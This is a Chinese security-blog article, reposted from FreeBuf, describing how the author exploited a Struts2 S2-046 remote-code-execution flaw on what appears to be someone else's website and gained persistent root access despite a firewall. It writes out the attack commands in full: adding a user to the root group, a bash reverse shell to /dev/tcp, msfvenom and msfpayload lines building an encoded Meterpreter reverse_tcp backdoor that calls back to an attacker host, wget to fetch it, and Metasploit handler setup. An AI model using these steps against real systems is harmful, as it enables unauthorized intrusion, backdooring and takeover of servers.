前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >当Strust2遇到防火墙,你的思路够骚吗?

当Strust2遇到防火墙,你的思路够骚吗?

作者头像
FB客服
发布2018-07-31 10:59:14
7000
发布2018-07-31 10:59:14
举报
文章被收录于专栏:FreeBuf

PS:本次测试仅仅做为学习,漏洞已经提交给管理员,请勿用于非法用途,所产生的一切后果与作者无关。文章如果有问题,欢迎大家及时指正!

一、背景

偶然碰到一个小站存在st2-046代码远程执行漏洞,心里美滋滋。

执行whoami查看自己是什么权限

已经是root了,就尝试上传一个webshell

但是却提示上传失败,页面不存在

上传txt显示成功

经过测试,服务器装有一些防火墙之类的东西或者是安全策略,只要上传的文件里包含可执行代码就上传失败

但是转念一想我为什么非要传webshell,传上去之后不还是要提权,弄到他的ssh权限。

于是冷静思考了一下目前的形势:

1 root权限 2 可以执行非交互性命令 3 不能上传文件

脑海里一道闪电,蹦出来三个思路

1 直接远程执行命令 添加一个用户 然后加入root组 2 nc反弹shell 进行交互性命令 设置用密钥登陆 3 用神器msf生成一个linux后门,进一步拿下ssh

二、一波操作猛如虎

思路一

首先useradd test添加一个名为test的用户

因为不能交互 所以无法使用passwd 命令

尝试echo “PASSWORD” | passwd —stdin USERNAME命令

命令执行完成

然后加入root组

代码语言:javascript
复制
usermod -g root test

用id+用户名查看是否添加成功

奈斯

然后就是高高兴兴去连接ssh

结果他一直拒绝我的密码。。。

这是什么操作。。。

得到了你的人得不到你的心吗。。。

当时也不明白为什么会这样

后来百度查了一下

才知道这个命令有时候是有问题的

思路一失败

思路二

既然问题出在加密码的命令上面,我就只要把shell反弹出来然后再使用passwd命令即可

测试了一下目标站不支持其他脚本,也没有nc,就直接用bash转发吧

先打开一台外网windows服务器,开启nc监听

命令为nc.exe –vv –l –p 端口

Linux上bash转发命令如下

代码语言:javascript
复制
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1

提示执行成功

但是windows服务器上并没有收到任何反弹信息

换端口换反弹方式都失败

用脚趾头想想应该是防火墙的问题

思路二失败。

思路三

前两次均失败,心里很难受了

不过没关系,我们还有神器msf

假设本机ip为192.168.250.162监听端口为8090

用msf生成一个linux的后门命令如下:

(1)对于metasploit 4.2版本,使用msfpayload生成后门程序,使用msfencode对后门进行二次编码防杀。

生成后门并使用msfencode shikata_ga_nai编码程序对后门程序再编码。

命令:

代码语言:javascript
复制
msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162 LPORT=8090 R |msfencode -t elf -e x86/shikata_ga_nai -c 3 -o /root/test

详解:

使用模块 linux/x86/meterpreter/reverse_tcp 可以实现在32位linux系统上反弹TCP会话 LHOST=192.168.250.162 反弹连接到metasploit攻击主机的IP地址 LPORT=8090 反弹连接到metasploit攻击主机的TCP端口号 -t elf 编码生成的文件类型 -e x86/shikata_ga_nai 使用的编码方式 -c 3 重复封装编码3次 -o /root/test 输出后门文件到/root目录下,文件名test

(2)在较新版本的metasploit中,msfpayload和msfencode已经被取消,功能合并为msfvenom

使用msfvenom创建后门达到相同效果的命令为:

代码语言:javascript
复制
msfvenom -a x86--platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162LPORT=8090 -e x86/shikata_ga_nai  -i  3  -felf > /root/test

详解:

-a x86 32位 —platform linux 后门程序运行的平台 -plinux/x86/meterpreter/reverse_tcp 使用的payload模块 -ex86/shikata_ga_nai -i 3 使用shikata编码方式,编码3次。 -f elf 输出后门程序格式

(在我测试的过程中如果不使用shikata编码3次生成的后门无法执行,不知道是不是防火墙的原因)

生成好了,然后就是怎么把后门传到目标服务器上的问题

可以用ftp之类的,出于方便就直接用wget

把后门放到网站上或者架设的hfs上

执行成功

ls看一下是否已经下载后门

接下来就在msf上开启监听

msfconsole进入控制台后命令:

代码语言:javascript
复制
msf > use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.250.162msf exploit(handler) > set LPORT 8090msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp msf exploit(handler) > exploit

Ok监听开启成功

这个时候就要来运行后门

一定要记得更改后门的权限!

一定要记得更改后门的权限!

一定要记得更改后门的权限!

重要的事情说三遍!!!

只有这样后门才有执行的权限

命令:chmod 777 test

然后执行后门

命令: ./test

可以看到已经得到了一个会话

执行whoami 显示root权限

后面的思路就很多了

添加一个后门用户

或者生成一个秘钥直接连接服务器

或者直接用msf维持后门的权限

在这里就直接用passwd改掉咱们原来添加的test的密码

Ok, ssh连接成功

三、总结

这次的渗透测试还是可以给大家提供一个思路,在遇到st2漏洞但是有防火墙,不能上马,不能反弹shell,只能执行非交互命令的时候可以用msf生成一个后门然后进行进一步提权。

当一种思路不行的时候要学会打开思路,多尝试,多百度。

*本文原创作者:道恩先生666,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、背景
  • 二、一波操作猛如虎
    • 思路一
      • 思路二
        • 思路三
        • 三、总结
        相关产品与服务
        网站渗透测试
        网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档